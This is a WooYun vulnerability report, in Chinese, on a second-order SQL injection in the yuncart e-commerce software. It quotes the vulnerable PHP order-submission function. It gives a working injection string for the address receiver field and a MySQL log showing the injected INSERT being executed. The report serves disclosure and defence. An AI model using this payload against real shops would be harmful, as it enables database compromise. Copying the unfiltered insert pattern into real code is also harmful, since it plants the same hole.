当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087561

漏洞标题:yuncart二次注入

相关厂商:yuncart

漏洞作者: darker

提交时间:2014-12-18 16:44

修复时间:2015-03-18 16:46

公开时间:2015-03-18 16:46

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:10

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-18: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-03-18: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

yuncart 二次注入

详细说明:

/include/front/buy.class.php
ordercomp()执行insert 操作未对数据过滤导致注入。

public function ordercomp() {

$time = time();
//判断订单执行条件
//购物车
$carts = $_SESSION["cart"]["list"];
if(!$carts) {
redirect(array("index","cart"));
}
//收货地址
$addressid = intval($_POST["addressid"]);
$address = DB::getDB()->selectrow("user_address","*","uid=".$this->uid." AND addressid='$addressid'");
if(!$address) cerror(__("error_address"));

//支付方式
$paymentid = intval($_POST["paymentid"]);
$payment = DB::getDB()->selectrow("payment","code,paymentid","ispublish=1 AND paymentid='$paymentid'");
if(!$payment) cerror(__("cannt_user_thepayment"));
$paymentcode = $payment['code'];
//快递
$wayid = intval($_POST["wayid"]);
$way = DB::getDB()->selectrow("express_way","*","wayid='$wayid'");
if(!$way) cerror(__("error_expressway"));

$man = Promotion::getManRule($_SESSION['cart']['itemfee'],true);
$postfee = 0;
if(!$man || !empty($man['nofreight'])) { //订单免运费
//第一级,自定义省
$postfee = DB::getDB()->selectval("express_prov","price","wayid='$wayid' AND province like '%{$address['province']}%'");
//第二级,默认
if(!$postfee && $way['price']) $postfee = $way['price'];
//两级都不存在,报错
!$postfee && cerror(__("error_expressway"));
}


$postfee = $postfee ? getPrice($postfee,-2,'float') : 0;
$posttype = intval($_POST["posttype"]);


//接受其他参数
$memo = trim($_POST["memo"]);
$istax = isset($_POST["istax"])?1:0;
$tax_company = $istax?trim($_POST["tax_company"]):"";

//订单商品
$cartitems = $this->getCartItems();

//套餐
$mealid = $mealnum = 0;
if(!empty($_SESSION['cart']['meal'])) { //如果是套餐订单,扯分
$temp = array();
foreach($cartitems as $k=>$cartitem) {
if($cartitem['type'] == "meal") { //如果是套餐
$mealnum = $cartitem['num'];
$mealid = $cartitem['mealid'];

//判断套餐库存
$inventory = DB::getDB()->selectval("meal","inventory","mealid='$mealid'");
if(!$inventory || $mealnum > $inventory) {
cerror(__('inventory_not_enough'));
}
foreach($cartitem['mealitems'] as $mealitem) {
$mealitem['num'] = $cartitem['num'];
$mealitem['mealid'] = $cartitem['mealid'];
$mealitem['mealtitle'] = $cartitem['title'];
$temp[] = $mealitem;
}
break;
}
}
$cartitems = $temp;
}

//商品bn,检查库存是否满足
$itemids = $productids = array();
foreach($cartitems as $cartitem) {
$itemids[] = $cartitem['itemid'];
isset($cartitem['productid']) && ($productids[] = $cartitem['productid']);
}
$items = DB::getDB()->select("item","inventory,bn,itemid","itemid in ".cimplode($itemids),"","","itemid");
$products = DB::getDB()->select("product","inventory,bn,productid","productid in ".cimplode($productids),"","","productid");

$items[0]['bn'] = $products[0]['bn'] = '';
foreach($cartitems as $k => $cartitem) {//检查库存
$itemid = $cartitem['itemid'];
$productid = !empty($cartitem['productid'])?$cartitem['productid']:0;
$num = $cartitem['num'];
if(!$num) { //如果数量不存在,直接unset
unset($cartitems[$k]);
} else if( ($productid && $num> $products[$productid]['inventory'] ) || ($itemid && $num > $items[$itemid]['inventory']) ) {
//如果productid存在,库存小
cerror(__('inventory_not_enough'));
}
}

//订单数据 trade
$itemfee = $_SESSION['cart']['itemfee'];
$totalfee = $itemfee //商品的费用
+ ($man && !empty($man['nofreight']) ? 0 : $postfee) //包邮
- ($man && !empty($man['minus']) ? $man['minus'] : 0) //减金额
;

//优惠券
$couponid = isset($_POST["couponid"]) ? $_POST["couponid"] : 0;
$coupon = array();
if($couponid) {//判断优惠券是否存在
$coupon = Promotion::getCoupon($this->uid,$couponid);
if( $coupon && $coupon['deno'] && ($coupon['require'] <= $totalfee) ) { //优惠券
$totalfee -= $coupon['deno'];
} else { //优惠券不可用
cerror(__("coupon_cannot_use"));
}
}
$totalfee < 0 && $totalfee = 0;

//正式进入执行订单流程
if(isset($_SESSION['cart']['in'])) { //重复执行订单
unset($_SESSION['cart']);
cerror(__("submit_order_twice"));
}
$_SESSION['cart']['in'] = true;//正在执行订单
$tradeid = $time . mt_rand(100,999);
$data = array(
"tradeid" => $tradeid,
"uid" => $this->uid,
"uname" => $_SESSION['uname'],
"addtime" => $time,
"status" => "WAIT_PAY",//未支付
"totalfee" => getPrice($totalfee,2,'int'),
"itemfee" => getPrice($itemfee,2,'int'),
"postfee" => getPrice($postfee,2,'int'),
"man" => $man ? $man['str'] : '',
"coupon" => $coupon ? $coupon['deno'] : 0,
"expresswayid" => $wayid,
"posttype" => $posttype,
"receiver_name" => $address['receiver'],
"receiver_province" => $address['province'],
"receiver_city" => $address['city'],
"receiver_district" => $address['district'],
"receiver_address" => $address['address'],
"receiver_zip" => $address['zipcode'],
"receiver_link" => $address['link'],
"memo" => $memo,
"payment" => $paymentcode,
"istax" => $istax,
"tax_company" => $tax_company
);
DB::getDB()->insert("trade",$data);
$adddata = $promodata = array();

//订单
foreach($cartitems as $cartitem) { //组装order表数据
$itemid = $cartitem['itemid'];
$productid = !empty($cartitem['productid'])?$cartitem['productid']:0;
$num = $cartitem['num'];
$adddata = array("tradeid" =>$tradeid,
"ibn" =>$items[$itemid]['bn'],
"pbn" =>$products[$productid]['bn'],
"itemid" =>$itemid,
"productid" =>$productid,
"itemname" =>$cartitem['itemname'],
"itemimg" =>$cartitem['itemimg'],
"num" =>$num,
"price" =>getPrice($cartitem['price'],2,'int'),
"uid" =>$this->uid,
"uname" =>$_SESSION['uname'],
"addtime" =>$time
);
//搭配套餐
if(isset($cartitem['mealid'])) {
$adddata["mealtitle"] = $cartitem["mealtitle"];
}
//限时打折
if(isset($cartitem['discount'])) {
$adddata['discount'] = getPrice($cartitem['discount']['oldprice'] - $cartitem['discount']['newprice'],2,'int');
} else if(isset($cartitem['tuan'])) {
$adddata['tuan'] = getPrice($cartitem['tuan']['oldprice'] - $cartitem['tuan']['newprice'],2,'int');
}


//插入订单表
$orderid = DB::getDB()->insert("order",$adddata);

if(!empty($cartitem['gifts'])) {//赠品
$giftdata = array("tradeid" => $tradeid,
"orderid" => $orderid,
"itemid" => $itemid,
"productid"=> $productid,
"gift" => serialize($cartitem['gifts']));
DB::getDB()->insert("trade_gift",$giftdata);
}

//减去product库存
if($productid) {
DB::getDB()->updatecre("product","inventory","productid='$productid'",'decre',$num);
}
//减去item库存
DB::getDB()->updatecremulti("item",array("inventory"=>"- $num","modified"=>$time),"itemid='$itemid'");

//tuan buynum
if(isset($cartitem['tuan'])) {
DB::getDB()->updatecremulti("tuan",array("buynum"=>"+ $num"),"tuanid='".$cartitem["tuan"]["tuanid"]."'");
}
}

//更新优惠券已经使用及相关订单
if($coupon) {
DB::getDB()->update("user_coupon","isused=1,tradeid='$tradeid'","uid='".$this->uid."' AND couponid='".$coupon['couponid']."'");
}

//如果是套餐订单,更新套餐的库存和volume
if($mealid && $mealnum) {
DB::getDB()->updatecremulti("meal",array("inventory"=>"- $mealnum","volume"=>"+ $mealnum"),"mealid='$mealid'");
}
unset($_SESSION["cart"]);
$this->data['tradeid'] = $tradeid;
$this->data['total'] = $totalfee;
$this->data['paymentcode'] = $paymentcode;
//发送消息通知
$mq = new MQ("tradecreated");
$mq->send($this->uid,array(
"mobile" => $address["link"],
"replacement" => array($tradeid,getPrice($totalfee,0))
));
//订单处理结束
$this->output("ordercomp");
}


添加地址:

1.png


receiver=',1,1,1,user(),1,1,1,1,0,2)#
提交订单:执行INSERT语句
mysql log:
INSERT INTO cart_trade(`tradeid`,`uid`,`uname`,`addtime`,`status`,`totalfee`,`itemfee`,`postfee`,`man`,`coupon`,`expresswayid`,`posttype`,`receiver_name`,`receiver_province`,`receiver_city`,`receiver_district`,`receiver_address`,`receiver_zip`,`receiver_link`,`memo`,`payment`,`istax`,`tax_company`) values('1418809144596',2,'test',1418809144,'WAIT_PAY',6300,5300,1000,'',0,2,1,'',1,1,1,user(),1,1,1,1,0,2)#','110000','1','','1','1','1','','cod',0,'')

漏洞证明:

2.png

修复方案:

过滤。

版权声明:转载请注明来源 darker@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝